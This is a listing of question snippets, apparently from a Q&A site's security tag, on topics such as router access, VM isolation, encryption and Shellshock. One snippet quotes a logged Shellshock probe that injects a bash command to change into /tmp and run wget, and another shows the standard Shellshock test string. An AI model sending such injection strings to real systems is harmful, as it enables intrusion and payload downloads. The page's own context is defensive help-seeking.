Security in terms of "computer security", such as protection of information, protection from theft or data destruction.

learn more… | top users | synonyms (1)

0
votes
1answer
61 views

Limit Netgear Nighthawk AC1750 to given WAN IPs

I have a Netgear Nighthawk AC1750 router, and have SSH, HTTP, and several other ports forwarded to a server. It is not for public use, and will only be accessed by me. I've recently had 60,000 hits ...
1
vote
1answer
60 views

Is it safe to run WindowsXP as a Virtual Machine?

I know XP should not be used on a normal internet-facing PC. But if you run it within a sand-boxed VM that can't access the main PC, is that OK? My use-case is I run a VPN within a VM, to RDP into a ...
0
votes
1answer
71 views

New updates started to show up in fall 2014

Since WinXP support ended in April 2014, my Automatic Update client went quiet. But, about two months ago, updates started to show up in it again! Naturally, I was suspicious that M$ might be trying ...
1
vote
0answers
13 views

What can a non-Mac App Store app do in terms of sandboxing and security?

I'm curious about what applications from outside of the Mac App Store limitations are. By default, what are their permissions? What can they access on my computer? From my perspective, I can see that ...
0
votes
1answer
33 views

Is there a way to encrypt my traffic in foreign networks?

I will be staying in a hotel network for a while and I don't like the idea of someone wiresharking me. Is there any VPN software allowing me to encrypt my traffic? Something similar to TOR browser, ...
0
votes
1answer
59 views

how to prevent access of hard disc from guest user in window 7 ?

i want to restrict guest user from access the hard disc data, so how it could be, i goes through this way gpcedit.mc, User Configuration > Administrative Templates > Windows Components > Windows ...
0
votes
2answers
36 views

Splitting a file provides some sort of encryption?

I was wondering if splitting a file with tools like HJsplit provides some sort of encryption. Imagine I split an image or a pdf in various parts, if someone manage to get just 1 or more parts, could ...
0
votes
1answer
23 views

Prevent file from being uploaded(windows)

Say you have some file on your windows system. Is there a simple way or tool which can mark this file as not uploadable to some other machine over the internet? All applications on the system can ...
2
votes
2answers
26 views

Securing and protecting a shared computer

I allow friends and relatives to use my home computer, but I'd like to secure it as much as possible, and so I have a few questions: How can I require an admin password (that only I know) for any ...
0
votes
0answers
42 views

Least-Privilege BUILTIN\Administrator Failure Configuring Application Control Policies with AppLocker

I'm configuring execution control on a computer running Windows 7 SP1 Ultimate with one hard drive with a single partition. With AppLocker comes the option to create "default rules". In the case of ...
0
votes
1answer
33 views

How do I configure my system to trust a CA for a specific subset of domains?

The company I work for has a number of internal web services accessible over HTTPS. These services use SSL/TLS certificates signed by an internal certificate authority which is only trusted by ...
1
vote
0answers
28 views

Deny acess to file-shares (SMB)?

There are security policies like: Deny logon locally Deny logon on through Remote Desktop Services Deny access this computer from network Is there any policy to deny specific users/groups to ...
1
vote
0answers
33 views

How to require admin permissions to stop an executable in Windows 8

I have an executable on a Windows 8 machine, that I’d like to keep running. The problem is, the guy I share my dorm room and the Windows 8 machine with keeps shutting it off. Is there a way ...
0
votes
2answers
65 views

Is there a way to blacklist programs so that they can't be installed?

I again found on my sister's Windows PC the infamous Ask toolbar, probably installed along with some software. It is easy for bloatware to slip through. That is just one example. I'm aware that ...
1
vote
3answers
133 views

How do I properly SSH into a server behind a NAT while maintaining the tightest possible security?

I have a VPC in Amazon AWS. There's a NAT Server running in a Public Subnet that connects to an Internet Gateway. I have a bunch of servers running in various private subnets within the VPC. I'd like ...
0
votes
0answers
17 views

Database showing a list of current vulnerabilities?

I have been recently building my own firewall, but I was wondering is there a website or database which lists majority of the known vulnerabilities so I could obviously update my firewall based on the ...
0
votes
0answers
29 views

oscap audit on RHEL7

I'm new to OpenScap and I'm having trouble putting all the pieces together to evaluate a RHEL7 system. I've got the following RPMs installed: scap-security-guide-0.1.5-4.el7.noarch ...
0
votes
0answers
11 views

Representing web app users as OS users - bad idea? [on hold]

How bad an idea is to have a web app that represents its users through OS users rather then storing them in a data base? And assuming their privileges are properly set up, to handle their http ...
1
vote
0answers
83 views

Java blocks applet on whitelisted site

On the webpage http://smbus.org/faq/crc8Applet.htm there is an applet for demonstrating the calculation of an 8-bit cyclic redundancy check. Java in Chrome and IE on MSWin7 will not allow this to run. ...
2
votes
1answer
65 views

Block site if browser not in incognito - Chrome

I want to block sites like internet banking and accounting systems if browser not in incognito mode (for security reasons, because browser has several plugins). Is it possible to block opening web ...
1
vote
0answers
23 views

Why was my computer try to to access the internet after I had placed it into hibernation?

From 21:30 on the 11/10/2014, my Computer was in hibernation. It started to come out of this mode and connected to the internet and with this address: https://www.google.co.uk/?gws_rd=ssl at ...
0
votes
1answer
29 views

How to patch a dormant windows 7 vm

I run windows 7 as a guest VM on an ubuntu Linux host. However I only start the VM rarely so there is a risk that Windows will have security holes until it is patched. Is it possible to patch the VM ...
0
votes
0answers
19 views

Firefox sometimes reporting insecure items on page with https

I have just installed a self-signed cert for usage on a test server and I added an exception in Firefox to trust it. When I load the page normally it shows the lock and all is fine; however if I ...
1
vote
2answers
68 views

How to secure a compromised virtual machine

I would like to run Windows in a virtual machine on my linux box. However, there is some concern from others on the same physical network that if the Windows box is compromised then they will ...
0
votes
1answer
43 views

Prevent unauthorized network connection

Can another computer (connected to Network B) gain access to my computer (connected to Network A through wifi) via any means? How can I protect myself from such unauthorized connections? I have the ...
0
votes
1answer
18 views

ActiveDirectory Update a user getting UnauthorizedAccessException

I have a script that updates user pictures. It works perfectly fine on my machine as I'm a Domain Admin. I want to schedule it to run on my SQL Server, but the account that is running the Agent ...
1
vote
0answers
15 views

Locate files relating to MS Security Essentials scan result

I just ran a MS Security Essentials scan on my computer. The results show two entries under "Allowed". I don't remember allowing any such items to run on my computer. How can I locate the files ...
0
votes
0answers
63 views

icacls on windows 7 not working, Permission denied when saving an image file

I have been trying to solve this for 2 hours, on linux this is very easy. Please kindly help me. I keep getting this error : file_put_contents(C:\xampp\htdocs\skripsi\images): failed to open stream: ...
-3
votes
2answers
58 views

Strong and easy to remember password : Nonsense sentence or random chars? [closed]

I’ve been searching the web to have a secure and trust answer to that question: How can I know if my password is secure since I know a lot of websites do checks but none of them show the same result? ...
1
vote
0answers
98 views

DisableCAD local security policy on standalone Windows 7 machine reverts to Enable after reboot or logging out

I have been struggling for days trying to resolve this issue. We are required to have our users press ctrl+alt+delete to login to our systems. The local security policy has the "Interactive logon: Do ...
0
votes
2answers
98 views

How to know your Mac is not compromised (software and hardware) after lending [closed]

Is there a way to find out if your Mac has been compromised software and hardware wise? I have a pre-unibody MacBook (2007), and it was in someone else's hands once. I want to make sure: the person ...
0
votes
0answers
7 views

What is Same Origin Policy?

I was experimenting with the Cross Site Flashing Vulnerabilities in a web application. From there i heard this term for the first time. Can Someone Explain me the term Same-Origin Policy? If the topic ...
1
vote
2answers
81 views

How do I wipe a USB drive using dd on cygwin on Windows?

I am trying to use dd to wipe a usb drive using Cygwin on Windows. What should I use for the of argument? dd if=/dev/null of=?
0
votes
1answer
42 views

Cannot reconnect to mapped drives

Under Windows 7, I have mapped 4 drives, all of them pointing to my Synology 213j. Everything works fine, but when I restart, the system complaints that it cannot reconnect to mapped drives and I ...
1
vote
2answers
48 views

Is encrypting the password legal? Not using any hash methods [closed]

I tried to login to my college social network site but I forgot my password so I clicked the "Forgot Password" link then an email has been sent. It stated in that email my username and the super duper ...
0
votes
1answer
279 views

BitLocker vs. Encrypting File System (EFS) on Windows 7

So BitLocker encrypts the entire hard drive, while EFS encrypts individual files. Is there any difference in the way that they implement the encryption? Do they both use your user account password as ...
0
votes
1answer
37 views

How to safely shred unlinked files on a Unix-based file system?

Scenario: After working with a confidential file (e.g. PDF a bank statement), you typed: rm my-confidential-file (or the famous Shift-Delete action in a GUI-based file browser such as nautilus) ...
-1
votes
1answer
26 views

Is webinternetsecurity a threat to a network and how to remove completely?

I am in IT and one of our computer was detected to have a trojan virus. It was detected as Artemis!294D8BF17879. It turns out to be an application called WebInternetSecurity that appears to create ...
2
votes
1answer
39 views

Why cant operating system decide which program to use when opening files without their suffix?

For example, if we rename a .pdf file to .exe, and try to run it under windows, an error will occur. But is it possible for OS to determine which program to use to open a file based on its content? ...
2
votes
9answers
468 views

Make some content on USB drive read only

I am having a 8GB pen drive, I need to put a PowerPoint into that and make it read only. Rest of the space should be usable for the user. Assuming the user will be using Windows only, what are my ...
22
votes
3answers
4k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
0
votes
0answers
24 views

Set a max for number of failed password log in attempts in juniper srx

Normally my Juniper-SRX doesn't delimit number of failed log in attempts. I want to know if is there any way to change settings in a way that after for example 3 failed attempt, that user locked for ...
6
votes
1answer
445 views

How to know which Certificates to leave in my browser, and which to remove

I would like to tighten up security a bit, so I am disabling unneeded certs from my browsers. For instance, the "WoSign CA Limited" cert from China I obviously don't need, yet "Thawte Consulting cc" I ...
3
votes
4answers
3k views

Still Vulnerable to Shellshock with Ubuntu 14.04.1 and Bash 4.3-7ubuntu1.4 - What next?

The title says it all. I am still vulnerable (CVE-2014-6271 and possibly CVE-2014-7169) with Ubuntu 14.04.1 and Bash 4.3-7ubuntu1.4 apt-get update = nothing apt-get upgrade = nothing apt-get ...
1
vote
0answers
140 views

How to make the Firefox's message “… is now fullscreen” less obtrusive?

Illustration of the problem When a web page in Firefox switches to full-screen then even though the website is allowed to switch to full-screen automatically (Tools > Page Info > Permissions > Enter ...
4
votes
1answer
775 views

Do I need to be concerned using the Git Bash on Windows with Shellshock?

I use the Git Bash on a Windows 8.1 machine. Do I need to be concerned by Shellshock?
0
votes
2answers
104 views

Is my server still vulnerable to Shell Shock?

I updated my Debian server since Shell Shock vulnerability was known. Before update, I had: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test Now, I have: ...
-1
votes
3answers
1k views

How do I build bash to patch against shellshock and test it before installing it at the root of my system?

What seems to be wrong with my code below? I'm downloading and patching up to patch 18 which I understand is the patch for shellchock vulnerability. But I still get the vulnerability when running ...
0
votes
3answers
73 views

When using VirtualBox, is the host OS 100% protected from security issues in the guest OS?

More specifically, if I intentionally install all kinds of viruses and malwares on a Windows installation running inside VirtualBox on Mac OS X, can I cause any damage to Mac OS or even to the ...
0
votes
0answers
199 views

What exactly is the “Shellshock” vulnerability?

Concerning the Shellshock bug (aka "bash bug", CVE-2014-6271), can someone explain how this vulnerability works? Based on the test given in some posts (below), it looks like some type of injection ...